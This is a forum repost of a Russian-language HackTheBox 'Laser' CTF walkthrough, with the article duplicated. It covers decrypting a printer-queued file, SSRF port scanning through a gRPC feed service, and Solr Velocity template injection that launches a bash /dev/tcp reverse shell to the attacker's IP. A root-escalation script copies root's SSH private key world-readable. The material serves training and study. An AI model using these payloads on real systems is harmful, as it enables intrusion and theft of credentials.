[Информационная безопасность, Python, CTF] HackTheBox. Прохождение Laser. Jetdirect, RPC и кража SSH
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье мы работаем с принтером и получаем документ, который даст нам вектор захвата хоста, найдем в памяти ключ шифрования и расшифруем найденный документ. Далее работаем с gRPC и даже получаем RCE. Как вектор LPE, пробуем найти уязвимость в скиптах, использующих SSH.
Организационная информация
SPL
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.201, который я добавляю в /etc/hosts.
10.10.10.201 laser.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
После сканирования мы по сути ничего не имеем. Давайте попробуем нагуглить какие либо упоминания о проблемах безопасности, связанных с данными портами (кроме SSH).
И мы находим даже инструмент, который позволяет нам работать с принтером.
Entry Point
Давайте посмотрим, что мы можем в итоге получить.
Осмотревшись, мы находим только один файл.
Давайте получим его и откроем.
Проблема в том, что она зашифрован, поэтому мы не можем его просмотреть.
Но мы можем достать ключ шифрования.
Так как файл зашифрован с помощью AES CBC, мы можем его расшифровать.
import base64
from Crypto.Cipher import AES
mess = open("./PRET/queued", "r").read()[2:].replace("'", "")
mess_decrypt = base64.b64decode(mess)
IV, CT = mess_decrypt[8:24], mess_decrypt[24:]
chip = AES.new('13vu94r6643rv19u', AES.MODE_CBC, IV)
OT = chip.decrypt(CT)
with open("decr.pdf", "wb") as f:
f.write(OT)
По сигнатуре видим, что это PDF документ. А уже в самом документе находим кое-что интересное.
Таким образом, 9000 порт отвечает за RPC приложение с реализованным методом Feed. Оно принимает входные сериализованные данные Content и возвращает Data с помощью службы Print. gRPC — это высокопроизводительный фреймворк для удаленного вызова процедур, разработанный компанией Google.
Сперва нам нужно описать формат обмена данными. Для этого используем protocol buffers.Указываем версию protobuf, описываем типы данных для клиент-серверного взаимодействия. Будем отсылать текстовые данные (типа string) Content и получать данные Data с помощью Print. Создадим файл ralf.proto (можно свое название).
syntax = "proto3";
message Content {
string data = 1;
}
message Data {
float feed = 1;
}
service Print {
rpc Feed(Content) returns (Data) {}
}
Далее установим две библиотеки: grpcio и grpcio-tools. Первая это сама библиотека для grpc, а вторая — набор примочек для автоматизации разработки.
sudo pip3 install grpcio
sudo pip3 install grpcio-tools
Теперь сгенерируем два файла.
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ralf.proto
Файл _pb2.py содержит описание протокола взаимодействия. Файл _pb2_grpc.py хранит классы, которые нужно использовать в сервере и клиенте.
После необходимых импортов, нужно открыть канал. Затем подключаем клиент нашего RPC API к этому каналу и вызываем функции, как будто удаленно никуда не обращаемся! Мы знаем, что порт 22 открыт. Давайте проверим реакцию, на запрос feed с этого порта и потенциально закрытого.
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
p = '{"feed_url":"http://localhost:22"}'
p2 = base64.b64encode(pickle.dumps(p))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = ralf_pb2_grpc.PrintStub(channel)
content = ralf_pb2.Content(data=p2)
try:
response = stub.Feed(content, timeout=30)
print(response)
except Exception as e:
print(e.details())
То есть мы можем узнать, какие порты открыты для localhost. Давайте переберем все пароли. Порты разделим на закрытые, открытые и порты, отвечающие feed (так как 22 порт ответил not allowed).
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
for port in range(1, 65536):
p = '{"feed_url":"http://localhost:'+ str(port) +'"}'
p2 = base64.b64encode(pickle.dumps(p))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = ralf_pb2_grpc.PrintStub(channel)
content = ralf_pb2.Content(data=p2)
try:
response = stub.Feed(content, timeout=30)
print("Port found: " + str(port))
except Exception as e:
if "Connection refused" in e.details():
print("Port: "+ str(port), end="\r")
else:
print("Port open: " + str(port) + " "*10)
И находим нужный, отвечающий нам порт.
USER
Узнаем что это.
И находим даже эксплоит. Таким образом, мы можем получить RCE, выполнив 2 запроса, как в инструкции. Первый запрос:
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
p = '{"feed_url":"gopher://localhost:8983/0POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20localhost%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D"}'
p2 = base64.b64encode(pickle.dumps(p))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = ralf_pb2_grpc.PrintStub(channel)
content = ralf_pb2.Content(data=p2)
try:
stub.Feed(content, timeout=30)
except Exception as e:
print(e.details())
И во втором запросе бэкконнект шелл: bash -i >& /dev/tcp/10.10.14.205/4321 0>&1.
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
p = '{"feed_url":"http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.205%2F4321%200%3E%261%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"}'
p2 = base64.b64encode(pickle.dumps(p))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = ralf_pb2_grpc.PrintStub(channel)
content = ralf_pb2.Content(data=p2)
try:
response = stub.Feed(content, timeout=30)
except Exception as e:
print(e.details())
И у нас есть шелл от имени пользователя.
ROOT
Для удобного доступа сгенерируем и запишем SSH ключ.
Для разведки на системе используем LinPEAS. И отмечаем наличие сетевого интерфейса docker, а также наличие большого количества SSH соединений с этого интерфейса.
Давайте проследим новые процессы с помощью pspy. И видим пароль для подключения, а также выполняемый скрипт.
Дело в том, что мы можем перенаправить соединение и выполнить скрипт с локального хоста от имени root. Давайте зайдем на docker и загрузим на хост socat. После чего остановим службу SSH и выполним перенаправление.
А теперь создадим на удаленном хосте (не в docker) скрипт /tmp/clear.sh, который будет копировать SSH ключ рута и делать его доступным для всех.
#!/bin/sh
cp /root/.ssh/id_rsa /tmp/; chmod 777 /tmp/id_rsa
Подождав немного обнаружим желанный ключ.
И подключимся как root.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
===========
Источник:
habr.com
===========
Похожие новости:
- [Информационная безопасность, Разработка под iOS, IT-стандарты, Контекстная реклама, IT-компании] «Фонд электронных рубежей» раскритиковал кампанию Facebook против Apple
- [Информационная безопасность, Криптография, Научно-популярное] Обфускация как метод защиты программного обеспечения
- [Python, Программирование, Профессиональная литература] Классические задачи Computer Science на языке Python. Обзор книги (перевод)
- [Информационная безопасность, Софт, IT-компании] Microsoft оказалась в списке пострадавших от взлома ПО SolarWinds
- [Информационная безопасность, Криптография] Электронная подпись: надёжность и риски
- [Информационная безопасность, Софт] Изучаем безопасность офисного ПО — какие механизмы влияют на защиту данных
- [Информационная безопасность, Криптовалюты] Охота на охотников за криптовалютой
- [Python, Визуализация данных, Машинное обучение] Мы скачали 10 миллионов Jupyter-ноутбуков с Github — и вот что мы выяснили
- [Информационная безопасность, Тестирование веб-сервисов] Безопасность веб: из LFI в RCE
- [Информационная безопасность, Разработка мобильных приложений] Пользователи системы «Помощник Москвы» смогут сообщать о незаконной торговле и скоплениях людей
Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_python, #_ctf, #_pentest, #_pentesting, #_ralf_rt, #_informatsionnaja_bezopasnost (информационная безопасность), #_ctf, #_htb, #_red_team, #_red_teaming, #_informatsionnaja_bezopasnost (
Информационная безопасность
), #_python, #_ctf
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 17:33
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox. В данной статье мы работаем с принтером и получаем документ, который даст нам вектор захвата хоста, найдем в памяти ключ шифрования и расшифруем найденный документ. Далее работаем с gRPC и даже получаем RCE. Как вектор LPE, пробуем найти уязвимость в скиптах, использующих SSH. Организационная информацияSPLЧтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа. Recon Данная машина имеет IP адрес 10.10.10.201, который я добавляю в /etc/hosts. 10.10.10.201 laser.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста: #!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 После сканирования мы по сути ничего не имеем. Давайте попробуем нагуглить какие либо упоминания о проблемах безопасности, связанных с данными портами (кроме SSH). И мы находим даже инструмент, который позволяет нам работать с принтером. Entry Point Давайте посмотрим, что мы можем в итоге получить. Осмотревшись, мы находим только один файл. Давайте получим его и откроем. Проблема в том, что она зашифрован, поэтому мы не можем его просмотреть. Но мы можем достать ключ шифрования. Так как файл зашифрован с помощью AES CBC, мы можем его расшифровать. import base64 from Crypto.Cipher import AES
mess = open("./PRET/queued", "r").read()[2:].replace("'", "") mess_decrypt = base64.b64decode(mess) IV, CT = mess_decrypt[8:24], mess_decrypt[24:] chip = AES.new('13vu94r6643rv19u', AES.MODE_CBC, IV) OT = chip.decrypt(CT) with open("decr.pdf", "wb") as f: f.write(OT) По сигнатуре видим, что это PDF документ. А уже в самом документе находим кое-что интересное. Таким образом, 9000 порт отвечает за RPC приложение с реализованным методом Feed. Оно принимает входные сериализованные данные Content и возвращает Data с помощью службы Print. gRPC — это высокопроизводительный фреймворк для удаленного вызова процедур, разработанный компанией Google. Сперва нам нужно описать формат обмена данными. Для этого используем protocol buffers.Указываем версию protobuf, описываем типы данных для клиент-серверного взаимодействия. Будем отсылать текстовые данные (типа string) Content и получать данные Data с помощью Print. Создадим файл ralf.proto (можно свое название). syntax = "proto3"; message Content { string data = 1; } message Data { float feed = 1; } service Print { rpc Feed(Content) returns (Data) {} } Далее установим две библиотеки: grpcio и grpcio-tools. Первая это сама библиотека для grpc, а вторая — набор примочек для автоматизации разработки. sudo pip3 install grpcio
sudo pip3 install grpcio-tools Теперь сгенерируем два файла. python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ralf.proto
Файл _pb2.py содержит описание протокола взаимодействия. Файл _pb2_grpc.py хранит классы, которые нужно использовать в сервере и клиенте. После необходимых импортов, нужно открыть канал. Затем подключаем клиент нашего RPC API к этому каналу и вызываем функции, как будто удаленно никуда не обращаемся! Мы знаем, что порт 22 открыт. Давайте проверим реакцию, на запрос feed с этого порта и потенциально закрытого. import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc p = '{"feed_url":"http://localhost:22"}' p2 = base64.b64encode(pickle.dumps(p)) channel = grpc.insecure_channel('10.10.10.201:9000') stub = ralf_pb2_grpc.PrintStub(channel) content = ralf_pb2.Content(data=p2) try: response = stub.Feed(content, timeout=30) print(response) except Exception as e: print(e.details()) То есть мы можем узнать, какие порты открыты для localhost. Давайте переберем все пароли. Порты разделим на закрытые, открытые и порты, отвечающие feed (так как 22 порт ответил not allowed). import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc for port in range(1, 65536): p = '{"feed_url":"http://localhost:'+ str(port) +'"}' p2 = base64.b64encode(pickle.dumps(p)) channel = grpc.insecure_channel('10.10.10.201:9000') stub = ralf_pb2_grpc.PrintStub(channel) content = ralf_pb2.Content(data=p2) try: response = stub.Feed(content, timeout=30) print("Port found: " + str(port)) except Exception as e: if "Connection refused" in e.details(): print("Port: "+ str(port), end="\r") else: print("Port open: " + str(port) + " "*10) И находим нужный, отвечающий нам порт. USER Узнаем что это. И находим даже эксплоит. Таким образом, мы можем получить RCE, выполнив 2 запроса, как в инструкции. Первый запрос: import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc p = '{"feed_url":"gopher://localhost:8983/0POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20localhost%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D"}' p2 = base64.b64encode(pickle.dumps(p)) channel = grpc.insecure_channel('10.10.10.201:9000') stub = ralf_pb2_grpc.PrintStub(channel) content = ralf_pb2.Content(data=p2) try: stub.Feed(content, timeout=30) except Exception as e: print(e.details()) И во втором запросе бэкконнект шелл: bash -i >& /dev/tcp/10.10.14.205/4321 0>&1. import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc p = '{"feed_url":"http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.205%2F4321%200%3E%261%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"}' p2 = base64.b64encode(pickle.dumps(p)) channel = grpc.insecure_channel('10.10.10.201:9000') stub = ralf_pb2_grpc.PrintStub(channel) content = ralf_pb2.Content(data=p2) try: response = stub.Feed(content, timeout=30) except Exception as e: print(e.details()) И у нас есть шелл от имени пользователя. ROOT Для удобного доступа сгенерируем и запишем SSH ключ. Для разведки на системе используем LinPEAS. И отмечаем наличие сетевого интерфейса docker, а также наличие большого количества SSH соединений с этого интерфейса. Давайте проследим новые процессы с помощью pspy. И видим пароль для подключения, а также выполняемый скрипт. Дело в том, что мы можем перенаправить соединение и выполнить скрипт с локального хоста от имени root. Давайте зайдем на docker и загрузим на хост socat. После чего остановим службу SSH и выполним перенаправление. А теперь создадим на удаленном хосте (не в docker) скрипт /tmp/clear.sh, который будет копировать SSH ключ рута и делать его доступным для всех. #!/bin/sh
cp /root/.ssh/id_rsa /tmp/; chmod 777 /tmp/id_rsa Подождав немного обнаружим желанный ключ. И подключимся как root. Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ. =========== Источник: habr.com =========== Похожие новости:
Информационная безопасность ), #_python, #_ctf |
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 17:33
Часовой пояс: UTC + 5